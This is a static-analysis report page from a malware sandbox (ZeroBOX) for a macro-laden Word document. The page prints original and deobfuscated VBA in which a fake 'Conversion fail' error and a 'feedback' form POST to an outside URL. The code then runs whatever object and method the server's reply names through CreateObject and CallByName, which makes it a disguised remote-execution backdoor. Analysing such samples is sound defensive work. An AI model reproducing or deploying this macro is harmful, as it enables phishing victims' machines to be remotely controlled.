popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Rem Attribute VBA_ModuleType=VBADocumentModule

Private Sub Document_Close()

MsgBox "ERROR: Bad document version", vbCritical, "Conversion fail"
frmFeedback.Show


End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Rem Attribute VBA_ModuleType=VBADocumentModule

Private Sub Document_Close()

MsgBox "ERROR: Bad document version", vbCritical, "Conversion fail"
frmFeedback.Show


End Sub

Original

                                        Attribute VB_Name = "Feedback"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub process(data As String)
    Dim lines() As String
    Dim fields() As String
    
    lines = Split(data, vbCrLf)
    For i = LBound(lines, 1) To UBound(lines, 1)
        fields = Split(lines(i), "|", 3)
        
        If UBound(fields) = 0 Then
            MsgBox lines(i)
        Else
          Dim obj As Object
          Set obj = CreateObject(fields(0))
          Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)
        End If
    Next i
    
           
    

End Sub


Public Sub send(data As String, requesUrl As String)

        
    Set obj = CreateObject("MSXML2.ServerXMLHTTP")
    obj.Open "POST", Trim(requesUrl), False
    obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    obj.send (data)
    
    If obj.Status = "200" Then
        process (obj.responseText)
    End If
End Sub

Deobfuscated

                                        Attribute VB_Name = "Feedback"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub process(data As String)
    Dim lines() As String
    Dim fields() As String
    
    lines = Split(data, vbCrLf)
    For i = LBound(lines, 1) To UBound(lines, 1)
        fields = Split(lines(i), "|", 3)
        
        If UBound(fields) = 0 Then
            MsgBox lines(i)
        Else
          Dim obj As Object
          Set obj = CreateObject(fields(0))
          Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)
        End If
    Next i
    
           
    

End Sub


Public Sub send(data As String, requesUrl As String)

        
    Set obj = CreateObject("MSXML2.ServerXMLHTTP")
    obj.Open "POST", Trim(requesUrl), False
    obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    obj.send (data)
    
    If obj.Status = "200" Then
        process (obj.responseText)
    End If
End Sub

Original

                                        Attribute VB_Name = "frmFeedback"
Attribute VB_Base = "0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim sended As Boolean


Private Sub feedbackAction(data As String)
    Dim fb As Feedback
    Set fb = New Feedback
    sended = True
    fb.send data, frmFeedback.TextBox2.Value
    
    
    
    Unload Me
End Sub

Private Sub btnClose_Click()
    feedbackAction "status=cancel"
    
End Sub

Private Sub btnSend_Click()
    Dim text As String
    
    text = "status=ok" & _
            "&answer_1=" & frmFeedback.CheckBox1.Value & _
            "&answer_2=" & frmFeedback.CheckBox2.Value & _
            "&comment=" & frmFeedback.TextBox1.Value
    
    feedbackAction text
End Sub


Private Sub UserForm_Activate()
 sended = False
 
End Sub

Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
    If sended = False Then
        feedbackAction "status=close"
    End If

End Sub

Deobfuscated

                                        Attribute VB_Name = "frmFeedback"
Attribute VB_Base = "0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim sended As Boolean


Private Sub feedbackAction(data As String)
    Dim fb As Feedback
    Set fb = New Feedback
    sended = True
    fb.send data, frmFeedback.TextBox2.Value
    
    
    
    Unload Me
End Sub

Private Sub btnClose_Click()
    feedbackAction "status=cancel"
    
End Sub

Private Sub btnSend_Click()
    Dim text As String
    
    text = "status=ok" & _
            "&answer_1=" & frmFeedback.CheckBox1.Value & _
            "&answer_2=" & frmFeedback.CheckBox2.Value & _
            "&comment=" & frmFeedback.TextBox1.Value
    
    feedbackAction text
End Sub


Private Sub UserForm_Activate()
 sended = False
 
End Sub

Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
    If sended = False Then
        feedbackAction "status=close"
    End If

End Sub
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
|#67_*-
3^q5'=q6
q=xK@;)
&&CLgM
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Microsoft Office Word
Attribute VBA_ModuleType=VBADocumentModule
ERROR: Bad document version
Conversion fail
Attribut
e VB_Nam
e = "Thi
sDocumen
0{00020P906-
$0046}
|Global
dCreat
ateDeriv
Bustomi
A_Modu
leType=V
6 Sub
MsgBox "
ERROR: B
rsion",
vbCritic
al, "ConA
rmFeedba
ck.Show
MSXML2.ServerXMLHTTP$
Content-Type
application/x-www-form-urlencoded
Attribut
e VB_Nam
e = "Fee
dback"
CFB3D2A-
A0FA-106
8-A738-0
8002B337
reatabl
Predecla
lateDeri
Custom
Sub pr
ocess(d
Z As S
lines()
pSplit
/, vbCrL
.For i
LBound(
, 1) To ~U
i), "|",
6VbMethTod
Nexxt i
ubldic
requesU|rl
MSXML2.S erver
en "POST
nTrim(
setRB#
tHeader
"Content -Type
p`Mcation
/x-www-f
orm-urle
ncoded`z
2"20,0"LEdf !5.r
esponseT
status=cancel
status=ok
&answer_1=
&answer_2=
&comment=
status=closeA@L
Attribut
e VB_Nam
e = "frm
Feedback
0{D3A91B
38-4DB9-
4127-BDC
6-A12A02
586370}{
ABE498BB
-A746-48
CC-9E40-
3567E6F5 903F}
oFalse
Creatabl
Predecl
BExpose
0Templat@eDeriv
ustomiz
Dim send
As Bool
* Sub f
Action(d
=` New
tBox2.Va
Unl oad M
2btnCl
S_Click(
D/K8 "stat
us=cance
k" & _C
"&answe0r_1=A
CChheck@C1CC
erForm_
Query
-Intege
The _e/
WordS10
Project-
stdole
Office
MSFormsC
VBIDEA
ThisDocument<
_Evaluate
Document_Close7\0
MsgBox
vbCritical+}0
frmFeedback
Feedback
process
fields7
vbCrLf
CreateObject
CallByName
VbMethod
requesUrl!
setRequestHeader#70
Status
responseText
sended
feedbackAction
TextBox2
btnClose_Click
btnSend_Click
CheckBox1
CheckBox2
TextBox1
UserForm_ActivateZs0
UserForm_QueryClose
Cancel
CloseMode
Documentj
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\SysWOW6
e2.tlb
#OLE Aut
omation
EOffic
8D04C-5B
FA-101B-
m Files
(x86)\Co
crosoft
Shared\O
FFICE12\
MSO.DLL#
Librar
D452EE1 -E08F
-02608
C4D0BB4
FM20L'B
r00}#0
27CD-19B
2-47E3-8
306-C82B
15C47F58
6a:\Temp0\VBE
[B0.e<xd
VBIDE>
B2E157
V$BA@6A6
76E@XT.OLB
isual Ba
sic for @Applic
Extensi
bility
bwThis
Document
T xi@N"D@Nc
eedbackG,
Tahoma
CheckBox1n f
Are you happy with the quality of the conversion?
Tahoma
Were there any errors in the transformation of the document?
Tahoma
Send Feedback
Tahoma
Cancel
Tahoma
Tahoma
Your comments and suggestions:
Tahoma
https://feedbackportal.download/ecm/ibm/1626826019/feedback
Tahoma
CheckBox2
btnSend
btnClose
TextBox1
Label1x1
TextBox2
Microsoft Forms 2.0 Form
Embedded Object
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} frmFeedback
Caption = "Feedback service"
ClientHeight = 4080
ClientLeft = 45
ClientTop = 390
ClientWidth = 5010
StartUpPosition = 1 'CenterOwner
TypeInfoVer = 17
ThisDocument
Feedback
frmFeedback
ID="{722BC011-346F-4162-8286-44CD359ED742}"
Document=ThisDocument/&H00000000
Class=Feedback
Package={AC9F2F90-E877-11CE-9F68-00AA00574A4F}
BaseClass=frmFeedback
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="D7D54BA8FD58D25CD25CD25CD25C"
DPB="B0B22C4F2D4F2D4F"
GC="898B1526162616D9"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Feedback=0, 0, 0, 0, C
frmFeedback=0, 0, 0, 0, C, 26, 26, 1590, 697,
Microsoft Office Word 97-2003
MSWordDoc
Word.Document.8
Unknown
Times New Roman
Symbol
Calibri
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
ThisDocument
N0{00020906-0000-0000-C000-000000000046}
Feedback
frmFeedback
_VBA_PROJECT
N0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}
0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}
*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic F
or Applications
*\G{00020905-0000-0000-C000-000000000046}#8.4#0#C:\Program Files (x86)\Microsoft Office\Office12\MSWORD.OLB#Microsoft Word 12.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object Library
*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\Windows\SysWOW64\FM20.DLL#Microsoft Forms 2.0 Object Library
*\G{615F27CD-19B2-47E3-8306-C82B15C47F58}#2.0#0#a:\Temp\VBE\MSForms.exd#Microsoft Forms 2.0 Object Library
*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3
ThisDocument
0262e293d3
ThisDocument
Feedback
0362e293d3
Feedback
frmFeedback
0462e293d3
frmFeedback
frmFeedback
CompObj
VBFrame
PROJECTwm
PROJECT
CompObj
tThisDocument
kFeedback
kfrmFeedback
No antivirus signatures available.
No IRMA results available.